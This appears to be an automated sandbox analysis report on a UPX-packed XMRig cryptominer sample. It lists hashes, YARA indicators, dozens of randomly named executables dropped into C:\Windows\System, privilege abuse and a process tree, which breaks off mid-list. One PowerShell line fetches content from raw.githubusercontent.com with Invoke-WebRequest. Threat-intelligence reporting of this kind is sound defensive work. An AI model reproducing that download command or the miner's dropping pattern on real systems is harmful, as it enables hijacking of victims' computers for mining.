xmrig | d07fee47c5e0f0c0326243705715045584533e99bcf156d44fb5d3bd9540342d

Analysis

max time kernel
150s
max time network
115s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
29/04/2024, 16:21

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
Size

1.9MB
MD5

081681e3b806234cdc40d76c299299b0
SHA1

a039a22d0ff2692f2848aa4c341cc99254da9056
SHA256

d07fee47c5e0f0c0326243705715045584533e99bcf156d44fb5d3bd9540342d
SHA512

3ad1c6caec322c317de0b22977ad7464cfb5f1da456a10d32fbc7062256010bb146a896c41092fcd56f49fc5ccdb2972599dbae7adf7f1e71e36944eb68fe3db
SSDEEP

49152:Lz071uv4BPMkibTIA5KIP7nTrmBhihM5xC+U1Z:NAB4

Score

10^/10

xmrig miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral2/memory/4360-405-0x00007FF624010000-0x00007FF624402000-memory.dmp	xmrig
behavioral2/memory/2564-407-0x00007FF7ABA30000-0x00007FF7ABE22000-memory.dmp	xmrig
behavioral2/memory/2800-408-0x00007FF70ACD0000-0x00007FF70B0C2000-memory.dmp	xmrig
behavioral2/memory/2836-409-0x00007FF657E40000-0x00007FF658232000-memory.dmp	xmrig
behavioral2/memory/4368-410-0x00007FF6A5AB0000-0x00007FF6A5EA2000-memory.dmp	xmrig
behavioral2/memory/1532-411-0x00007FF6FEC00000-0x00007FF6FEFF2000-memory.dmp	xmrig
behavioral2/memory/4960-412-0x00007FF69FB10000-0x00007FF69FF02000-memory.dmp	xmrig
behavioral2/memory/5012-416-0x00007FF6ED5D0000-0x00007FF6ED9C2000-memory.dmp	xmrig
behavioral2/memory/4692-424-0x00007FF74B910000-0x00007FF74BD02000-memory.dmp	xmrig
behavioral2/memory/2540-413-0x00007FF733560000-0x00007FF733952000-memory.dmp	xmrig
behavioral2/memory/752-106-0x00007FF692E60000-0x00007FF693252000-memory.dmp	xmrig
behavioral2/memory/1720-98-0x00007FF78BE50000-0x00007FF78C242000-memory.dmp	xmrig
behavioral2/memory/2652-47-0x00007FF71A480000-0x00007FF71A872000-memory.dmp	xmrig
behavioral2/memory/3568-45-0x00007FF7B0920000-0x00007FF7B0D12000-memory.dmp	xmrig
behavioral2/memory/4952-41-0x00007FF71C250000-0x00007FF71C642000-memory.dmp	xmrig
behavioral2/memory/468-29-0x00007FF6971A0000-0x00007FF697592000-memory.dmp	xmrig
behavioral2/memory/2652-3361-0x00007FF71A480000-0x00007FF71A872000-memory.dmp	xmrig
behavioral2/memory/1392-3363-0x00007FF7C2450000-0x00007FF7C2842000-memory.dmp	xmrig
behavioral2/memory/2892-3366-0x00007FF75E290000-0x00007FF75E682000-memory.dmp	xmrig
behavioral2/memory/2032-3365-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp	xmrig
behavioral2/memory/2032-6005-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp	xmrig
behavioral2/memory/2564-6018-0x00007FF7ABA30000-0x00007FF7ABE22000-memory.dmp	xmrig
behavioral2/memory/5096-6023-0x00007FF6DEC70000-0x00007FF6DF062000-memory.dmp	xmrig
behavioral2/memory/4360-5960-0x00007FF624010000-0x00007FF624402000-memory.dmp	xmrig
behavioral2/memory/2836-6037-0x00007FF657E40000-0x00007FF658232000-memory.dmp	xmrig
behavioral2/memory/5012-6072-0x00007FF6ED5D0000-0x00007FF6ED9C2000-memory.dmp	xmrig
behavioral2/memory/4368-6046-0x00007FF6A5AB0000-0x00007FF6A5EA2000-memory.dmp	xmrig
behavioral2/memory/2540-6043-0x00007FF733560000-0x00007FF733952000-memory.dmp	xmrig
behavioral2/memory/1532-6104-0x00007FF6FEC00000-0x00007FF6FEFF2000-memory.dmp	xmrig

Executes dropped EXE 64 IoCs

pid	Process
4264	FiTqPMn.exe
3568	bCNiAjV.exe
468	yJtsOsA.exe
4952	EWAPzWZ.exe
2652	jJusIaY.exe
1720	uOUAWfu.exe
752	LmPWkkQ.exe
4360	ouwYbhZ.exe
1392	ShlEIOp.exe
2032	UiETnxH.exe
2564	NKOfZtX.exe
2800	rmcFDsk.exe
5096	nSNHtrF.exe
2892	UmzMyEk.exe
2836	UIHZYfe.exe
2540	xMQXqQU.exe
4368	ddPOiPm.exe
5012	rwfXxBJ.exe
4692	pwmVgkW.exe
1532	rbsFaUq.exe
4960	lGaQJmZ.exe
1480	CPrQcSO.exe
2320	cyOwBtN.exe
4268	rFPKcSg.exe
3080	eDLXoDK.exe
1236	ghpnCAk.exe
3744	DlxlVqn.exe
4576	iWOOEij.exe
2080	GzrKPwW.exe
4944	ldykFcR.exe
2300	reUKrYy.exe
4864	KaBGOuV.exe
3304	ncJuJyO.exe
1292	uyrnHgo.exe
2364	jeEgyfD.exe
684	pzHKsNH.exe
4796	QBcRisN.exe
1464	WUSbpfb.exe
4608	rYNpPPe.exe
1604	lpLJSNa.exe
3040	iKvNqAx.exe
3908	WqjiGhI.exe
4168	MPnVqOM.exe
4508	divEZmk.exe
3596	SlmNjuk.exe
3028	ZDfqqcN.exe
2484	dYTmpdQ.exe
4988	szhbIjU.exe
1068	QUWbvZu.exe
2488	UrezOip.exe
4716	eeIOuds.exe
4636	uLZRnXG.exe
2548	JmYcuvl.exe
2280	Lsyzatd.exe
552	vassxgP.exe
4856	LXryJqj.exe
2452	cBquiPF.exe
4980	yYmYzfb.exe
1844	tUEaYaW.exe
1452	FjToOmF.exe
4656	LhlDbHj.exe
5100	AixrGcC.exe
232	wgBDnSZ.exe
3916	qEFxysc.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4788-0-0x00007FF6CDF00000-0x00007FF6CE2F2000-memory.dmp	upx
behavioral2/files/0x000d000000023ab7-5.dat	upx
behavioral2/files/0x000a000000023b76-7.dat	upx
behavioral2/files/0x000b000000023b72-11.dat	upx
behavioral2/files/0x000a000000023b77-19.dat	upx
behavioral2/memory/4264-10-0x00007FF620800000-0x00007FF620BF2000-memory.dmp	upx
behavioral2/files/0x000a000000023b79-42.dat	upx
behavioral2/files/0x000a000000023b78-43.dat	upx
behavioral2/files/0x000b000000023b7a-57.dat	upx
behavioral2/memory/1392-70-0x00007FF7C2450000-0x00007FF7C2842000-memory.dmp	upx
behavioral2/files/0x000b000000023b7b-79.dat	upx
behavioral2/memory/5096-87-0x00007FF6DEC70000-0x00007FF6DF062000-memory.dmp	upx
behavioral2/memory/2892-97-0x00007FF75E290000-0x00007FF75E682000-memory.dmp	upx
behavioral2/files/0x000a000000023b81-101.dat	upx
behavioral2/files/0x000a000000023b84-109.dat	upx
behavioral2/files/0x000a000000023b85-116.dat	upx
behavioral2/files/0x000a000000023b87-134.dat	upx
behavioral2/files/0x000a000000023b89-144.dat	upx
behavioral2/files/0x000a000000023b8d-156.dat	upx
behavioral2/files/0x000a000000023b91-184.dat	upx
behavioral2/memory/4360-405-0x00007FF624010000-0x00007FF624402000-memory.dmp	upx
behavioral2/memory/2564-407-0x00007FF7ABA30000-0x00007FF7ABE22000-memory.dmp	upx
behavioral2/memory/2800-408-0x00007FF70ACD0000-0x00007FF70B0C2000-memory.dmp	upx
behavioral2/memory/2836-409-0x00007FF657E40000-0x00007FF658232000-memory.dmp	upx
behavioral2/memory/4368-410-0x00007FF6A5AB0000-0x00007FF6A5EA2000-memory.dmp	upx
behavioral2/memory/1532-411-0x00007FF6FEC00000-0x00007FF6FEFF2000-memory.dmp	upx
behavioral2/memory/4960-412-0x00007FF69FB10000-0x00007FF69FF02000-memory.dmp	upx
behavioral2/memory/5012-416-0x00007FF6ED5D0000-0x00007FF6ED9C2000-memory.dmp	upx
behavioral2/memory/4692-424-0x00007FF74B910000-0x00007FF74BD02000-memory.dmp	upx
behavioral2/memory/2540-413-0x00007FF733560000-0x00007FF733952000-memory.dmp	upx
behavioral2/files/0x000a000000023b93-186.dat	upx
behavioral2/files/0x000a000000023b92-181.dat	upx
behavioral2/files/0x000a000000023b90-179.dat	upx
behavioral2/files/0x000a000000023b8f-174.dat	upx
behavioral2/files/0x000a000000023b8e-169.dat	upx
behavioral2/files/0x000a000000023b8c-159.dat	upx
behavioral2/files/0x000a000000023b8b-154.dat	upx
behavioral2/files/0x000a000000023b8a-149.dat	upx
behavioral2/files/0x000a000000023b88-139.dat	upx
behavioral2/files/0x000a000000023b86-129.dat	upx
behavioral2/files/0x000a000000023b83-114.dat	upx
behavioral2/files/0x000b000000023b73-112.dat	upx
behavioral2/files/0x000a000000023b82-107.dat	upx
behavioral2/memory/752-106-0x00007FF692E60000-0x00007FF693252000-memory.dmp	upx
behavioral2/memory/1720-98-0x00007FF78BE50000-0x00007FF78C242000-memory.dmp	upx
behavioral2/files/0x000a000000023b80-95.dat	upx
behavioral2/files/0x000a000000023b7f-89.dat	upx
behavioral2/files/0x000a000000023b7e-86.dat	upx
behavioral2/memory/2032-82-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp	upx
behavioral2/files/0x000a000000023b7d-76.dat	upx
behavioral2/files/0x000a000000023b7c-65.dat	upx
behavioral2/memory/2652-47-0x00007FF71A480000-0x00007FF71A872000-memory.dmp	upx
behavioral2/memory/3568-45-0x00007FF7B0920000-0x00007FF7B0D12000-memory.dmp	upx
behavioral2/memory/4952-41-0x00007FF71C250000-0x00007FF71C642000-memory.dmp	upx
behavioral2/memory/468-29-0x00007FF6971A0000-0x00007FF697592000-memory.dmp	upx
behavioral2/memory/2652-3361-0x00007FF71A480000-0x00007FF71A872000-memory.dmp	upx
behavioral2/memory/1392-3363-0x00007FF7C2450000-0x00007FF7C2842000-memory.dmp	upx
behavioral2/memory/2892-3366-0x00007FF75E290000-0x00007FF75E682000-memory.dmp	upx
behavioral2/memory/2032-3365-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp	upx
behavioral2/memory/2032-6005-0x00007FF64B5F0000-0x00007FF64B9E2000-memory.dmp	upx
behavioral2/memory/2564-6018-0x00007FF7ABA30000-0x00007FF7ABE22000-memory.dmp	upx
behavioral2/memory/5096-6023-0x00007FF6DEC70000-0x00007FF6DF062000-memory.dmp	upx
behavioral2/memory/4360-5960-0x00007FF624010000-0x00007FF624402000-memory.dmp	upx
behavioral2/memory/2836-6037-0x00007FF657E40000-0x00007FF658232000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\sepIPuC.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\WEeDHtF.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\lyddCQS.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\vDBCzEK.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\fQECYcw.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\oGrThPc.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\BEwjYyK.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\njPWZOj.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\zImjYYf.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\pXYQPCt.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\gBeRJGT.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\IpWBBMo.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\LOkstsx.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\dlESuxl.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\oPrNYTa.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\NMgVvSX.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\AcSNdwX.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\bKDeflH.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\FqVBlWK.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\aTvGOdO.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\RrVBmEd.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\DOJItTq.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\UmirkYA.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\evWqIcT.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\TnvLqbv.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\JdoEynh.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\dHkUBku.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\bQsNGfj.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\SNLOJhY.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\lTCACTb.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\rpnzhxG.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\hSwMbRY.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\oKSURRn.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\yhiSvhh.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\bjDjGBI.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\atIRLku.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\AHiwuRS.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\MWTAqdJ.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\dSRtvxh.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\WTqvXcR.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\RKxDMQQ.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\tcbQNzm.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\hTiOnYy.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\xDolVaa.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\UuxcDHt.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\nTiIecD.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\ySVoauU.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\WLyTRln.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\uMdIXwq.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\isAfmxA.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\NqroDzT.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\BoGYFdC.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\ETaWOvb.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\ubuHDqX.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\MBZqFHT.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\MOxRCDo.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\CFrvbbe.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\oPjElBg.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\PKjFzMw.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\fEQvoMz.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\NcPcWEy.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\mwxFnbX.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\vMAvXoJ.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
File created	C:\Windows\System\ngNxWDU.exe	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
656	powershell.exe
656	powershell.exe
656	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
Token: SeDebugPrivilege	656	powershell.exe
Token: SeLockMemoryPrivilege	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 656	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	84
PID 4788 wrote to memory of 656	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	84
PID 4788 wrote to memory of 4264	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	85
PID 4788 wrote to memory of 4264	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	85
PID 4788 wrote to memory of 3568	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	86
PID 4788 wrote to memory of 3568	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	86
PID 4788 wrote to memory of 468	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	87
PID 4788 wrote to memory of 468	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	87
PID 4788 wrote to memory of 4952	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	88
PID 4788 wrote to memory of 4952	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	88
PID 4788 wrote to memory of 2652	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	89
PID 4788 wrote to memory of 2652	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	89
PID 4788 wrote to memory of 1720	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	90
PID 4788 wrote to memory of 1720	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	90
PID 4788 wrote to memory of 752	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	91
PID 4788 wrote to memory of 752	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	91
PID 4788 wrote to memory of 4360	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	92
PID 4788 wrote to memory of 4360	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	92
PID 4788 wrote to memory of 1392	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	93
PID 4788 wrote to memory of 1392	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	93
PID 4788 wrote to memory of 2032	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	94
PID 4788 wrote to memory of 2032	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	94
PID 4788 wrote to memory of 2564	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	95
PID 4788 wrote to memory of 2564	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	95
PID 4788 wrote to memory of 2800	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	96
PID 4788 wrote to memory of 2800	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	96
PID 4788 wrote to memory of 5096	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	97
PID 4788 wrote to memory of 5096	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	97
PID 4788 wrote to memory of 2892	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	98
PID 4788 wrote to memory of 2892	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	98
PID 4788 wrote to memory of 2836	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	99
PID 4788 wrote to memory of 2836	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	99
PID 4788 wrote to memory of 2540	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	100
PID 4788 wrote to memory of 2540	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	100
PID 4788 wrote to memory of 4368	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	101
PID 4788 wrote to memory of 4368	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	101
PID 4788 wrote to memory of 5012	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	102
PID 4788 wrote to memory of 5012	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	102
PID 4788 wrote to memory of 4692	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	103
PID 4788 wrote to memory of 4692	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	103
PID 4788 wrote to memory of 1532	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	104
PID 4788 wrote to memory of 1532	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	104
PID 4788 wrote to memory of 4960	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	105
PID 4788 wrote to memory of 4960	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	105
PID 4788 wrote to memory of 1480	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	106
PID 4788 wrote to memory of 1480	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	106
PID 4788 wrote to memory of 2320	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	107
PID 4788 wrote to memory of 2320	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	107
PID 4788 wrote to memory of 4268	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	108
PID 4788 wrote to memory of 4268	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	108
PID 4788 wrote to memory of 3080	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	109
PID 4788 wrote to memory of 3080	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	109
PID 4788 wrote to memory of 1236	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	110
PID 4788 wrote to memory of 1236	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	110
PID 4788 wrote to memory of 3744	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	111
PID 4788 wrote to memory of 3744	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	111
PID 4788 wrote to memory of 4576	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	112
PID 4788 wrote to memory of 4576	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	112
PID 4788 wrote to memory of 2080	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	113
PID 4788 wrote to memory of 2080	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	113
PID 4788 wrote to memory of 4944	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	114
PID 4788 wrote to memory of 4944	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	114
PID 4788 wrote to memory of 2300	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	115
PID 4788 wrote to memory of 2300	4788	081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe	115

C:\Users\Admin\AppData\Local\Temp\081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\081681e3b806234cdc40d76c299299b0_JaffaCakes118.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:656
- C:\Windows\System\FiTqPMn.exe
  C:\Windows\System\FiTqPMn.exe
  2⤵
  - Executes dropped EXE
  PID:4264
- C:\Windows\System\bCNiAjV.exe
  C:\Windows\System\bCNiAjV.exe
  2⤵
  - Executes dropped EXE
  PID:3568
- C:\Windows\System\yJtsOsA.exe
  C:\Windows\System\yJtsOsA.exe
  2⤵
  - Executes dropped EXE
  PID:468
- C:\Windows\System\EWAPzWZ.exe
  C:\Windows\System\EWAPzWZ.exe
  2⤵
  - Executes dropped EXE
  PID:4952
- C:\Windows\System\jJusIaY.exe
  C:\Windows\System\jJusIaY.exe
  2⤵
  - Executes dropped EXE
  PID:2652
- C:\Windows\System\uOUAWfu.exe
  C:\Windows\System\uOUAWfu.exe
  2⤵
  - Executes dropped EXE
  PID:1720
- C:\Windows\System\LmPWkkQ.exe
  C:\Windows\System\LmPWkkQ.exe
  2⤵
  - Executes dropped EXE
  PID:752
- C:\Windows\System\ouwYbhZ.exe
  C:\Windows\System\ouwYbhZ.exe
  2⤵
  - Executes dropped EXE
  PID:4360
- C:\Windows\System\ShlEIOp.exe
  C:\Windows\System\ShlEIOp.exe
  2⤵
  - Executes dropped EXE
  PID:1392
- C:\Windows\System\UiETnxH.exe
  C:\Windows\System\UiETnxH.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\NKOfZtX.exe
  C:\Windows\System\NKOfZtX.exe
  2⤵
  - Executes dropped EXE
  PID:2564
- C:\Windows\System\rmcFDsk.exe
  C:\Windows\System\rmcFDsk.exe
  2⤵
  - Executes dropped EXE
  PID:2800
- C:\Windows\System\nSNHtrF.exe
  C:\Windows\System\nSNHtrF.exe
  2⤵
  - Executes dropped EXE
  PID:5096
- C:\Windows\System\UmzMyEk.exe
  C:\Windows\System\UmzMyEk.exe
  2⤵
  - Executes dropped EXE
  PID:2892
- C:\Windows\System\UIHZYfe.exe
  C:\Windows\System\UIHZYfe.exe
  2⤵
  - Executes dropped EXE
  PID:2836
- C:\Windows\System\xMQXqQU.exe
  C:\Windows\System\xMQXqQU.exe
  2⤵
  - Executes dropped EXE
  PID:2540
- C:\Windows\System\ddPOiPm.exe
  C:\Windows\System\ddPOiPm.exe
  2⤵
  - Executes dropped EXE
  PID:4368
- C:\Windows\System\rwfXxBJ.exe
  C:\Windows\System\rwfXxBJ.exe
  2⤵
  - Executes dropped EXE
  PID:5012
- C:\Windows\System\pwmVgkW.exe
  C:\Windows\System\pwmVgkW.exe
  2⤵
  - Executes dropped EXE
  PID:4692
- C:\Windows\System\rbsFaUq.exe
  C:\Windows\System\rbsFaUq.exe
  2⤵
  - Executes dropped EXE
  PID:1532
- C:\Windows\System\lGaQJmZ.exe
  C:\Windows\System\lGaQJmZ.exe
  2⤵
  - Executes dropped EXE
  PID:4960
- C:\Windows\System\CPrQcSO.exe
  C:\Windows\System\CPrQcSO.exe
  2⤵
  - Executes dropped EXE
  PID:1480
- C:\Windows\System\cyOwBtN.exe
  C:\Windows\System\cyOwBtN.exe
  2⤵
  - Executes dropped EXE
  PID:2320
- C:\Windows\System\rFPKcSg.exe
  C:\Windows\System\rFPKcSg.exe
  2⤵
  - Executes dropped EXE
  PID:4268
- C:\Windows\System\eDLXoDK.exe
  C:\Windows\System\eDLXoDK.exe
  2⤵
  - Executes dropped EXE
  PID:3080
- C:\Windows\System\ghpnCAk.exe
  C:\Windows\System\ghpnCAk.exe
  2⤵
  - Executes dropped EXE
  PID:1236
- C:\Windows\System\DlxlVqn.exe
  C:\Windows\System\DlxlVqn.exe
  2⤵
  - Executes dropped EXE
  PID:3744
- C:\Windows\System\iWOOEij.exe
  C:\Windows\System\iWOOEij.exe
  2⤵
  - Executes dropped EXE
  PID:4576
- C:\Windows\System\GzrKPwW.exe
  C:\Windows\System\GzrKPwW.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\ldykFcR.exe
  C:\Windows\System\ldykFcR.exe
  2⤵
  - Executes dropped EXE
  PID:4944
- C:\Windows\System\reUKrYy.exe
  C:\Windows\System\reUKrYy.exe
  2⤵
  - Executes dropped EXE
  PID:2300
- C:\Windows\System\KaBGOuV.exe
  C:\Windows\System\KaBGOuV.exe
  2⤵
  - Executes dropped EXE
  PID:4864
- C:\Windows\System\ncJuJyO.exe
  C:\Windows\System\ncJuJyO.exe
  2⤵
